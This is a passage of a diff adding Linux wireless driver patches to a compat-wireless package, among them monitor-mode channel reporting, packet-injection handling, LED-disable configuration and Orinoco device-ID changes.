+ 	&dev_attr_rtap_iface.attr,
+ 	&dev_attr_rtap_filter.attr,
++	&dev_attr_inject.attr,
+ #endif
+ 	NULL
+ };
+diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h
+--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h	2010-10-21 04:30:22.000000000 +0800
++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h	2010-12-08 22:20:01.561000000 +0800
+@@ -2014,4 +2014,12 @@
+ 
+ #define IPW_MAX_CONFIG_RETRIES 10
+ 
++/*
++ * Hhack to get code compiling on new kernels, the define below
++ * seem to be removed from the linux headers.
++ */
++#ifndef MAC_ARG
++#define MAC_ARG(x) ((u8*)(x))[0],((u8*)(x))[1],((u8*)(x))[2],((u8*)(x))[3],((u8*)(x))[4],((u8*)(x))[5]
++#endif
++
+ #endif				/* __ipw2200_h__ */
diff --git a/net-wireless/compat-wireless/files/iwlwifi-5000-exp-firmware.patch b/net-wireless/compat-wireless/files/iwlwifi-5000-exp-firmware.patch
new file mode 100644
index 00000000..0b92e5ce
--- /dev/null
+++ b/net-wireless/compat-wireless/files/iwlwifi-5000-exp-firmware.patch
@@ -0,0 +1,13 @@
+diff -Naur compat-wireless-2.6.37-4-sn-orig/config.mk compat-wireless-2.6.37-4-sn/config.mk
+--- compat-wireless-2.6.37-4-sn-orig/config.mk	2011-01-12 20:03:11.000000000 -0500
++++ compat-wireless-2.6.37-4-sn/config.mk	2011-01-13 11:53:46.000000000 -0500
+@@ -226,7 +226,8 @@
+ 
+ 
+ CONFIG_COMPAT_IWLWIFI=m
+-# CONFIG_IWLWIFI_DEBUG=y
++CONFIG_IWLWIFI_DEBUG=y
++CONFIG_IWLWIFI_DEBUG_EXPERIMENTAL_UCODE=y
+ # CONFIG_IWLWIFI_DEBUGFS=y
+ # CONFIG_IWLWIFI_DEVICE_TRACING=y
+ CONFIG_IWLAGN=m
diff --git a/net-wireless/compat-wireless/files/johill-negone-paul.patch b/net-wireless/compat-wireless/files/johill-negone-paul.patch
new file mode 100644
index 00000000..ad891e2a
--- /dev/null
+++ b/net-wireless/compat-wireless/files/johill-negone-paul.patch
@@ -0,0 +1,75 @@
+diff -ur compat-wireless-3.2-rc1-1/include/net/cfg80211.h compat-wireless-3.2-rc1-1-new/include/net/cfg80211.h
+--- compat-wireless-3.2-rc1-1/include/net/cfg80211.h	2011-11-15 00:44:56.000000000 +0400
++++ compat-wireless-3.2-rc1-1-new/include/net/cfg80211.h	2011-11-27 09:48:41.000000000 +0400
+@@ -1338,6 +1338,9 @@
+  *	doesn't verify much. Note, however, that the passed netdev may be
+  *	%NULL as well if the user requested changing the channel for the
+  *	device itself, or for a monitor interface.
++ * @get_channel: Get the current operating channel, should return %NULL if
++ *	there's no single defined operating channel if for example the
++ *	device implements channel hopping for multi-channel virtual interfaces.
+  *
+  * @scan: Request to do a scan. If returning zero, the scan request is given
+  *	the driver, and will be valid until passed to cfg80211_scan_done().
+@@ -1617,6 +1620,8 @@
+ 			     u16 status_code, const u8 *buf, size_t len);
+ 	int	(*tdls_oper)(struct wiphy *wiphy, struct net_device *dev,
+ 			     u8 *peer, enum nl80211_tdls_operation oper);
++ 
++ 	struct ieee80211_channel *(*get_channel)(struct wiphy *wiphy);
+ };
+ 
+ /*
+diff -ur compat-wireless-3.2-rc1-1/net/mac80211/cfg.c compat-wireless-3.2-rc1-1-new/net/mac80211/cfg.c
+--- compat-wireless-3.2-rc1-1/net/mac80211/cfg.c	2011-11-15 00:44:54.000000000 +0400
++++ compat-wireless-3.2-rc1-1-new/net/mac80211/cfg.c	2011-11-27 09:49:48.000000000 +0400
+@@ -2488,6 +2488,14 @@
+ 	return 0;
+ }
+ 
++static struct ieee80211_channel *
++ieee80211_wiphy_get_channel(struct wiphy *wiphy)
++{
++	struct ieee80211_local *local = wiphy_priv(wiphy);
++
++	return local->oper_channel;
++}
++
+ struct cfg80211_ops mac80211_config_ops = {
+ 	.add_virtual_intf = ieee80211_add_iface,
+ 	.del_virtual_intf = ieee80211_del_iface,
+@@ -2553,4 +2561,5 @@
+ 	.set_rekey_data = ieee80211_set_rekey_data,
+ 	.tdls_oper = ieee80211_tdls_oper,
+ 	.tdls_mgmt = ieee80211_tdls_mgmt,
++ 	.get_channel = ieee80211_wiphy_get_channel,
+ };
+diff -ur compat-wireless-3.2-rc1-1/net/wireless/wext-compat.c compat-wireless-3.2-rc1-1-new/net/wireless/wext-compat.c
+--- compat-wireless-3.2-rc1-1/net/wireless/wext-compat.c	2011-11-15 00:44:54.000000000 +0400
++++ compat-wireless-3.2-rc1-1-new/net/wireless/wext-compat.c	2011-11-27 09:47:10.000000000 +0400
+@@ -819,12 +819,24 @@
+ 				 struct iw_freq *freq, char *extra)
+ {
+ 	struct wireless_dev *wdev = dev->ieee80211_ptr;
++	struct cfg80211_registered_device *rdev = wiphy_to_dev(wdev->wiphy);
++	struct ieee80211_channel *chan;
+ 
+ 	switch (wdev->iftype) {
+ 	case NL80211_IFTYPE_STATION:
+ 		return cfg80211_mgd_wext_giwfreq(dev, info, freq, extra);
+ 	case NL80211_IFTYPE_ADHOC:
+ 		return cfg80211_ibss_wext_giwfreq(dev, info, freq, extra);
++	case NL80211_IFTYPE_MONITOR:
++		if (!rdev->ops->get_channel)
++			return -EINVAL;
++
++		chan = rdev->ops->get_channel(wdev->wiphy);
++		if (!chan)
++			return -EINVAL;
++		freq->m = chan->center_freq;
++		freq->e = 6;
++		return 0;
+ 	default:
+ 		if (!wdev->channel)
+ 			return -EINVAL;
+
diff --git a/net-wireless/compat-wireless/files/johill-negone.patch b/net-wireless/compat-wireless/files/johill-negone.patch
new file mode 100644
index 00000000..c6d1ae77
--- /dev/null
+++ b/net-wireless/compat-wireless/files/johill-negone.patch
@@ -0,0 +1,84 @@
+From: Johannes Berg <johannes.berg@intel.com>
+
+Just add API to get the channel & report it. Trivial really.
+
+Signed-off-by: Johannes Berg <johannes.berg@intel.com>
+---
+So trivial it didn't even work ;-)
+
+ include/net/cfg80211.h     |    5 +++++
+ net/mac80211/cfg.c         |    9 +++++++++
+ net/wireless/wext-compat.c |   12 ++++++++++++
+ 3 files changed, 26 insertions(+)
+
+--- a/include/net/cfg80211.h	2011-11-09 10:13:05.000000000 +0100
++++ b/include/net/cfg80211.h	2011-11-09 10:27:47.000000000 +0100
+@@ -1342,6 +1342,9 @@ struct cfg80211_gtk_rekey_data {
+  *	doesn't verify much. Note, however, that the passed netdev may be
+  *	%NULL as well if the user requested changing the channel for the
+  *	device itself, or for a monitor interface.
++ * @get_channel: Get the current operating channel, should return %NULL if
++ *	there's no single defined operating channel if for example the
++ *	device implements channel hopping for multi-channel virtual interfaces.
+  *
+  * @scan: Request to do a scan. If returning zero, the scan request is given
+  *	the driver, and will be valid until passed to cfg80211_scan_done().
+@@ -1627,6 +1630,8 @@ struct cfg80211_ops {
+ 
+ 	int	(*probe_client)(struct wiphy *wiphy, struct net_device *dev,
+ 				const u8 *peer, u64 *cookie);
++
++	struct ieee80211_channel *(*get_channel)(struct wiphy *wiphy);
+ };
+ 
+ /*
+--- a/net/wireless/wext-compat.c	2011-11-09 10:07:35.000000000 +0100
++++ b/net/wireless/wext-compat.c	2011-11-09 10:13:18.000000000 +0100
+@@ -819,12 +819,24 @@ static int cfg80211_wext_giwfreq(struct
+ 				 struct iw_freq *freq, char *extra)
+ {
+ 	struct wireless_dev *wdev = dev->ieee80211_ptr;
++	struct cfg80211_registered_device *rdev = wiphy_to_dev(wdev->wiphy);
++	struct ieee80211_channel *chan;
+ 
+ 	switch (wdev->iftype) {
+ 	case NL80211_IFTYPE_STATION:
+ 		return cfg80211_mgd_wext_giwfreq(dev, info, freq, extra);
+ 	case NL80211_IFTYPE_ADHOC:
+ 		return cfg80211_ibss_wext_giwfreq(dev, info, freq, extra);
++	case NL80211_IFTYPE_MONITOR:
++		if (!rdev->ops->get_channel)
++			return -EINVAL;
++
++		chan = rdev->ops->get_channel(wdev->wiphy);
++		if (!chan)
++			return -EINVAL;
++		freq->m = chan->center_freq;
++		freq->e = 6;
++		return 0;
+ 	default:
+ 		if (!wdev->channel)
+ 			return -EINVAL;
+--- a/net/mac80211/cfg.c	2011-11-09 10:10:56.000000000 +0100
++++ b/net/mac80211/cfg.c	2011-11-09 10:29:40.000000000 +0100
+@@ -2579,6 +2579,14 @@ static int ieee80211_probe_client(struct
+ 	return 0;
+ }
+ 
++static struct ieee80211_channel *
++ieee80211_wiphy_get_channel(struct wiphy *wiphy)
++{
++	struct ieee80211_local *local = wiphy_priv(wiphy);
++
++	return local->oper_channel;
++}
++
+ struct cfg80211_ops mac80211_config_ops = {
+ 	.add_virtual_intf = ieee80211_add_iface,
+ 	.del_virtual_intf = ieee80211_del_iface,
+@@ -2645,4 +2653,5 @@ struct cfg80211_ops mac80211_config_ops
+ 	.tdls_oper = ieee80211_tdls_oper,
+ 	.tdls_mgmt = ieee80211_tdls_mgmt,
+ 	.probe_client = ieee80211_probe_client,
++	.get_channel = ieee80211_wiphy_get_channel,
+ };
diff --git a/net-wireless/compat-wireless/files/led-oops.patch b/net-wireless/compat-wireless/files/led-oops.patch
new file mode 100644
index 00000000..c5b9ae6e
--- /dev/null
+++ b/net-wireless/compat-wireless/files/led-oops.patch
@@ -0,0 +1,22 @@
+Index: wireless-testing/drivers/net/wireless/rtl818x/rtl8187_leds.c
+===================================================================
+--- wireless-testing.orig/drivers/net/wireless/rtl818x/rtl8187_leds.c
++++ wireless-testing/drivers/net/wireless/rtl818x/rtl8187_leds.c
+@@ -210,10 +210,10 @@ void rtl8187_leds_exit(struct ieee80211_
+
+ 	/* turn the LED off before exiting */
+ 	ieee80211_queue_delayed_work(dev, &priv->led_off, 0);
+-	cancel_delayed_work_sync(&priv->led_off);
+-	cancel_delayed_work_sync(&priv->led_on);
+ 	rtl8187_unregister_led(&priv->led_rx);
+ 	rtl8187_unregister_led(&priv->led_tx);
++	cancel_delayed_work_sync(&priv->led_off);
++	cancel_delayed_work_sync(&priv->led_on);
+ }
+ #endif /* def CONFIG_RTL8187_LED */
+
+
+
+
+
+
diff --git a/net-wireless/compat-wireless/files/leds-disable-strict-3.6.6.patch b/net-wireless/compat-wireless/files/leds-disable-strict-3.6.6.patch
new file mode 100644
index 00000000..fbc8d159
--- /dev/null
+++ b/net-wireless/compat-wireless/files/leds-disable-strict-3.6.6.patch
@@ -0,0 +1,30 @@
+--- drivers/net/wireless/rt2x00/rt2x00leds.c
++++ drivers/net/wireless/rt2x00/rt2x00leds.c
+@@ -29,6 +29,7 @@
+ #include "rt2x00.h"
+ #include "rt2x00lib.h"
+ 
++#ifdef CONFIG_RT2X00_LIB_LEDS
+ void rt2x00leds_led_quality(struct rt2x00_dev *rt2x00dev, int rssi)
+ {
+ 	struct rt2x00_led *led = &rt2x00dev->led_qual;
+@@ -244,3 +245,4 @@
+ 	if (rt2x00dev->led_qual.flags & LED_REGISTERED)
+ 		rt2x00leds_resume_led(&rt2x00dev->led_qual);
+ }
++#endif /* CONFIG_RT2X00_LIB_LEDS */
+--- net/mac80211/led.c
++++ net/mac80211/led.c
+@@ -12,6 +12,7 @@
+ #include <linux/export.h>
+ #include "led.h"
+ 
++#ifdef CONFIG_MAC80211_LEDS
+ void ieee80211_led_rx(struct ieee80211_local *local)
+ {
+ 	if (unlikely(!local->rx_led))
+@@ -307,3 +308,4 @@
+ 	else
+ 		ieee80211_start_tpt_led_trig(local);
+ }
++#endif /* CONFIG_MAC80211_LEDS */
diff --git a/net-wireless/compat-wireless/files/leds-disable-strict.patch b/net-wireless/compat-wireless/files/leds-disable-strict.patch
new file mode 100644
index 00000000..cf4a8c08
--- /dev/null
+++ b/net-wireless/compat-wireless/files/leds-disable-strict.patch
@@ -0,0 +1,64 @@
+diff -Naur /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r1/work/compat-wireless-2.6.35-rc2/config.mk /usr/src/compat-wireless-2.6.35-rc2/config.mk
+--- /var/tmp/portage/net-wireless/compat-wireless-2.6.35_rc2-r1/work/compat-wireless-2.6.35-rc2/config.mk	2010-06-11 15:32:27.000000000 -0400
++++ /usr/src/compat-wireless-2.6.35-rc2/config.mk	2010-06-11 15:34:16.000000000 -0400
+@@ -130,7 +130,7 @@
+ CONFIG_COMPAT_MAC80211_RC_DEFAULT=minstrel
+ CONFIG_MAC80211_RC_PID=y
+ CONFIG_MAC80211_RC_MINSTREL=y
+-CONFIG_MAC80211_LEDS=y
++CONFIG_MAC80211_LEDS=n
+ 
+ # enable mesh networking too
+ CONFIG_MAC80211_MESH=y
+@@ -198,7 +198,7 @@
+ ifneq ($(CONFIG_PCMCIA),)
+ CONFIG_B43_PCMCIA=y
+ endif
+-CONFIG_B43_LEDS=y
++CONFIG_B43_LEDS=n
+ CONFIG_B43_PHY_LP=y
+ CONFIG_B43_NPHY=y
+ # CONFIG_B43_FORCE_PIO=y
+@@ -207,7 +207,7 @@
+ CONFIG_B43LEGACY=m
+ CONFIG_B43LEGACY_HWRNG=y
+ CONFIG_B43LEGACY_PCI_AUTOSELECT=y
+-CONFIG_B43LEGACY_LEDS=y
++CONFIG_B43LEGACY_LEDS=n
+ # CONFIG_B43LEGACY_DEBUG=y
+ CONFIG_B43LEGACY_DMA=y
+ CONFIG_B43LEGACY_PIO=y
+@@ -351,13 +351,13 @@
+ 
+ CONFIG_P54_USB=m
+ CONFIG_RTL8187=m
+-CONFIG_RTL8187_LEDS=y
++CONFIG_RTL8187_LEDS=n
+ 
+ CONFIG_AT76C50X_USB=m
+ 
+ ifndef CONFIG_COMPAT_KERNEL_28
+ CONFIG_AR9170_USB=m
+-CONFIG_AR9170_LEDS=y
++CONFIG_AR9170_LEDS=n
+ endif
+ 
+ CONFIG_ATH9K_HTC=m
+@@ -446,7 +446,7 @@
+ CONFIG_RT2X00_LIB_HT=y
+ CONFIG_RT2X00_LIB_FIRMWARE=y
+ CONFIG_RT2X00_LIB_CRYPTO=y
+-CONFIG_RT2X00_LIB_LEDS=y
++CONFIG_RT2X00_LIB_LEDS=n
+ # CONFIG_RT2X00_DEBUG=y
+ # CONFIG_RT2X00_LIB_DEBUGFS
+ endif
+@@ -457,7 +457,7 @@
+ 
+ # p54
+ CONFIG_P54_COMMON=m
+-CONFIG_P54_LEDS=y
++CONFIG_P54_LEDS=n
+ 
+ # Atheros
+ CONFIG_ATH_COMMON=m
diff --git a/net-wireless/compat-wireless/files/leds-disable.patch b/net-wireless/compat-wireless/files/leds-disable.patch
new file mode 100644
index 00000000..521246c0
--- /dev/null
+++ b/net-wireless/compat-wireless/files/leds-disable.patch
@@ -0,0 +1,56 @@
+diff -Naur compat-wireless-2.6.35-rc2/config.mk /usr/src/patch_create/config.mk
+--- compat-wireless-2.6.35-rc2/config.mk	2010-06-11 13:42:35.000000000 -0400
++++ /usr/src/patch_create/config.mk	2010-06-11 13:41:23.000000000 -0400
+@@ -198,7 +198,7 @@
+ ifneq ($(CONFIG_PCMCIA),)
+ CONFIG_B43_PCMCIA=y
+ endif
+-CONFIG_B43_LEDS=y
++CONFIG_B43_LEDS=n
+ CONFIG_B43_PHY_LP=y
+ CONFIG_B43_NPHY=y
+ # CONFIG_B43_FORCE_PIO=y
+@@ -207,7 +207,7 @@
+ CONFIG_B43LEGACY=m
+ CONFIG_B43LEGACY_HWRNG=y
+ CONFIG_B43LEGACY_PCI_AUTOSELECT=y
+-CONFIG_B43LEGACY_LEDS=y
++CONFIG_B43LEGACY_LEDS=n
+ # CONFIG_B43LEGACY_DEBUG=y
+ CONFIG_B43LEGACY_DMA=y
+ CONFIG_B43LEGACY_PIO=y
+@@ -351,13 +351,13 @@
+ 
+ CONFIG_P54_USB=m
+ CONFIG_RTL8187=m
+-CONFIG_RTL8187_LEDS=y
++CONFIG_RTL8187_LEDS=n
+ 
+ CONFIG_AT76C50X_USB=m
+ 
+ ifndef CONFIG_COMPAT_KERNEL_28
+ CONFIG_AR9170_USB=m
+-CONFIG_AR9170_LEDS=y
++CONFIG_AR9170_LEDS=n
+ endif
+ 
+ CONFIG_ATH9K_HTC=m
+@@ -446,7 +446,7 @@
+ CONFIG_RT2X00_LIB_HT=y
+ CONFIG_RT2X00_LIB_FIRMWARE=y
+ CONFIG_RT2X00_LIB_CRYPTO=y
+-CONFIG_RT2X00_LIB_LEDS=y
++CONFIG_RT2X00_LIB_LEDS=n
+ # CONFIG_RT2X00_DEBUG=y
+ # CONFIG_RT2X00_LIB_DEBUGFS
+ endif
+@@ -457,7 +457,7 @@
+ 
+ # p54
+ CONFIG_P54_COMMON=m
+-CONFIG_P54_LEDS=y
++CONFIG_P54_LEDS=n
+ 
+ # Atheros
+ CONFIG_ATH_COMMON=m
+
diff --git a/net-wireless/compat-wireless/files/linville-aircrack-ng.patch b/net-wireless/compat-wireless/files/linville-aircrack-ng.patch
new file mode 100644
index 00000000..935b437e
--- /dev/null
+++ b/net-wireless/compat-wireless/files/linville-aircrack-ng.patch
@@ -0,0 +1,61 @@
+This is the latest attempt to address the long-standing complaint from
+the aircrack-ng folks about being unable to change the channel on
+monitor interfaces.  This version checks for the existance of other
+"active" interfaces and refuses the channel change if they are present.
+
+	https://bugzilla.redhat.com/show_bug.cgi?id=654344
+
+Signed-off-by: John W. Linville <linville@tuxdriver.com>
+---
+ net/wireless/chan.c |   29 +++++++++++++++++++++++++++--
+ 1 files changed, 27 insertions(+), 2 deletions(-)
+
+diff --git a/net/wireless/chan.c b/net/wireless/chan.c
+index 17cd0c0..d4add34 100644
+--- a/net/wireless/chan.c
++++ b/net/wireless/chan.c
+@@ -81,10 +81,32 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev,
+ 		      enum nl80211_channel_type channel_type)
+ {
+ 	struct ieee80211_channel *chan;
+-	int result;
++	int result, active_intf_present = 0;
++	struct wireless_dev *mon_wdev = NULL;
++
++	if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR) {
++		mon_wdev = wdev;
++
++		ASSERT_RDEV_LOCK(rdev);
++
++		/* rdev->devlist_mtx locked by callers */
++		list_for_each_entry(wdev, &rdev->netdev_list, list) {
++			if (wdev && wdev != mon_wdev &&
++			    (wdev->iftype == NL80211_IFTYPE_ADHOC ||
++			     wdev->iftype == NL80211_IFTYPE_AP ||
++			     wdev->iftype == NL80211_IFTYPE_AP_VLAN ||
++			     wdev->iftype == NL80211_IFTYPE_MESH_POINT ||
++			     wdev->iftype == NL80211_IFTYPE_P2P_GO)) {
++				active_intf_present = 1;
++				break;
++			}
++		}
++
++		if (active_intf_present)
++			return -EINVAL;
+ 
+-	if (wdev && wdev->iftype == NL80211_IFTYPE_MONITOR)
+ 		wdev = NULL;
++	}
+ 
+ 	if (wdev) {
+ 		ASSERT_WDEV_LOCK(wdev);
+@@ -131,5 +153,8 @@ int cfg80211_set_freq(struct cfg80211_registered_device *rdev,
+ 	if (wdev)
+ 		wdev->channel = chan;
+ 
++	if (mon_wdev)
++		mon_wdev->channel = chan;
++
+ 	return 0;
+ }
+
diff --git a/net-wireless/compat-wireless/files/mac80211.compat08082009.wl_frag+ack_v1.patch b/net-wireless/compat-wireless/files/mac80211.compat08082009.wl_frag+ack_v1.patch
new file mode 100644
index 00000000..8b7add3d
--- /dev/null
+++ b/net-wireless/compat-wireless/files/mac80211.compat08082009.wl_frag+ack_v1.patch
@@ -0,0 +1,27 @@
+diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c
+index 0855cac..221bed6 100644
+--- a/net/mac80211/tx.c
++++ b/net/mac80211/tx.c
+@@ -677,11 +677,19 @@ int tid;
+ 
+ 	/*
+ 	 * Packet injection may want to control the sequence
+-	 * number, if we have no matching interface then we
+-	 * neither assign one ourselves nor ask the driver to.
++	 * number, so if an injected packet is found, skip
++	 * renumbering it. Also make the packet NO_ACK to avoid
++	 * excessive retries (ACKing and retrying should be
++	 * handled by the injecting application).
++	 * FIXME This may break hostapd and some other injectors.
++	 * This should be done using a radiotap flag.
+ 	 */
+-	if (unlikely(info->control.vif->type == NL80211_IFTYPE_MONITOR))
++	if (unlikely((info->flags & IEEE80211_TX_CTL_INJECTED) &&
++	   !(tx->sdata->u.mntr_flags & MONITOR_FLAG_COOK_FRAMES))) {
++		if (!ieee80211_has_morefrags(hdr->frame_control))
++			info->flags |= IEEE80211_TX_CTL_NO_ACK;
+ 		return TX_CONTINUE;
++	}
+ 
+ 	if (unlikely(ieee80211_is_ctl(hdr->frame_control)))
+ 		return TX_CONTINUE;
diff --git a/net-wireless/compat-wireless/files/make-make.patch b/net-wireless/compat-wireless/files/make-make.patch
new file mode 100644
index 00000000..4ef02c83
--- /dev/null
+++ b/net-wireless/compat-wireless/files/make-make.patch
@@ -0,0 +1,12 @@
+diff -Naur compat-wireless-3.0-rc4-1-orig/Makefile compat-wireless-3.0-rc4-1/Makefile
+--- compat-wireless-3.0-rc4-1-orig/Makefile	2011-06-24 01:20:08.000000000 -0400
++++ compat-wireless-3.0-rc4-1/Makefile	2011-06-24 01:20:34.000000000 -0400
+@@ -154,7 +154,7 @@
+ 	@echo
+ 
+ btclean:
+-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) BT=TRUE clean
++	$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) BT=TRUE clean
+ 	@rm -f $(CREL_PRE)*
+ 
+ install: uninstall install-modules install-scripts
diff --git a/net-wireless/compat-wireless/files/orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch b/net-wireless/compat-wireless/files/orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch
new file mode 100644
index 00000000..ee08ad52
--- /dev/null
+++ b/net-wireless/compat-wireless/files/orinoco-remove-all-which-are-in-hostap-OFFICIAL.patch
@@ -0,0 +1,191 @@
+The hostap driver provides better support for Prism chipset.
+
+Signed-off-by: Pavel Roskin <proski@gnu.org>
+---
+ drivers/net/wireless/orinoco/Kconfig      |   13 ++++-
+ drivers/net/wireless/orinoco/hw.c         |    7 +++
+ drivers/net/wireless/orinoco/orinoco_cs.c |   79 +++++++++++++++--------------
+ 3 files changed, 60 insertions(+), 39 deletions(-)
+
+diff --git a/drivers/net/wireless/orinoco/Kconfig b/drivers/net/wireless/orinoco/Kconfig
+index e2a2c18..6116b54 100644
+--- a/drivers/net/wireless/orinoco/Kconfig
++++ b/drivers/net/wireless/orinoco/Kconfig
+@@ -27,6 +27,17 @@ config HERMES
+ 	  configure your card and that /etc/pcmcia/wireless.opts works :
+ 	  <http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html>
+ 
++config HERMES_PRISM
++	bool "Support Prism 2/2.5 chipset"
++	depends on HERMES
++	---help---
++
++	  Say Y to enable support for Prism 2 and 2.5 chipsets.  These
++	  chipsets are better handled by the hostap driver.  This driver
++	  would not support WPA or firmware download for Prism chipset.
++
++	  If you are not sure, say N.
++
+ config HERMES_CACHE_FW_ON_INIT
+ 	bool "Cache Hermes firmware on driver initialisation"
+ 	depends on HERMES
+@@ -86,7 +97,7 @@ config NORTEL_HERMES
+ 
+ config PCI_HERMES
+ 	tristate "Prism 2.5 PCI 802.11b adaptor support"
+-	depends on PCI && HERMES
++	depends on PCI && HERMES && HERMES_PRISM
+ 	help
+ 	  Enable support for PCI and mini-PCI 802.11b wireless NICs based on
+ 	  the Prism 2.5 chipset.  These are true PCI cards, not the 802.11b
+diff --git a/drivers/net/wireless/orinoco/hw.c b/drivers/net/wireless/orinoco/hw.c
+index e636924..883b8f8 100644
+--- a/drivers/net/wireless/orinoco/hw.c
++++ b/drivers/net/wireless/orinoco/hw.c
+@@ -262,6 +262,13 @@ int determine_fw_capabilities(struct orinoco_private *priv,
+ 	if (fw_name)
+ 		dev_info(dev, "Firmware determined as %s\n", fw_name);
+ 
++#ifndef CONFIG_HERMES_PRISM
++	if (priv->firmware_type == FIRMWARE_TYPE_INTERSIL) {
++		dev_err(dev, "Support for Prism chipset is not enabled\n");
++		return -ENODEV;
++	}
++#endif
++
+ 	return 0;
+ }
+ 
+diff --git a/drivers/net/wireless/orinoco/orinoco_cs.c b/drivers/net/wireless/orinoco/orinoco_cs.c
+index 1d4ada1..fdc9613 100644
+--- a/drivers/net/wireless/orinoco/orinoco_cs.c
++++ b/drivers/net/wireless/orinoco/orinoco_cs.c
+@@ -374,87 +374,90 @@ static char version[] __initdata = DRIVER_NAME " " DRIVER_VERSION
+ 	"Pavel Roskin <proski@gnu.org>, et al)";
+ 
+ static struct pcmcia_device_id orinoco_cs_ids[] = {
+-	PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), /* SonicWALL Long Range Wireless Card */
+-	PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), /* Sohoware NCP110, Philips 802.11b */
+-	PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), /* AnyPoint(TM) Wireless II PC Card */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), /* 3Com AirConnect PCI 777A */
+-	PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), /* PROXIM RangeLAN-DS/LAN PC CARD */
+-	PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), /* Compaq WL100 11 Mbps Wireless Adapter */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), /* Lucent Orinoco and old Intersil */
+ 	PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), /* Ericsson WLAN Card C11 */
+ 	PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), /* Nortel Networks eMobility 802.11 Wireless Adapter */
+-	PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), /* Intermec MobileLAN 11Mbps 802.11b WLAN Card */
+-	PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), /* Samsung SWL2000-N 11Mb/s WLAN Card */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), /* AirWay 802.11 Adapter (PCMCIA) */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), /* ARtem Onair */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0003), /* ARtem Onair Comcard 11 */
+ 	PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), /* Buffalo WLI-PCM-S11 */
+-	PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), /* Linksys WPC11 Version 2.5 */
+-	PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), /* Linksys WPC11 Version 3 */
+-	PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), /* Compaq HNW-100 11 Mbps Wireless Adapter */
+-	PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), /* Linksys WCF12 Wireless CompactFlash Card */
+ 	PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), /* ASUS SpaceLink WL-100 */
+ 	PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), /* SpeedStream SS1021 Wireless Adapter */
+ 	PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), /* SpeedStream Wireless Adapter */
+ 	PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), /* PLANEX RoadLannerWave GW-NS11H */
++	PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3),
++	PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f),
++	PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e),
++	PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842),
++	PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169),
++	PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb),
++	PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90),
++	PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916),
++	PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3),
++	PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c),
++	PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077),
++	PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92),
++	PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a),
++	PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410),
++	PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3),
++	PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a),
++	PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767),
++	PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed),
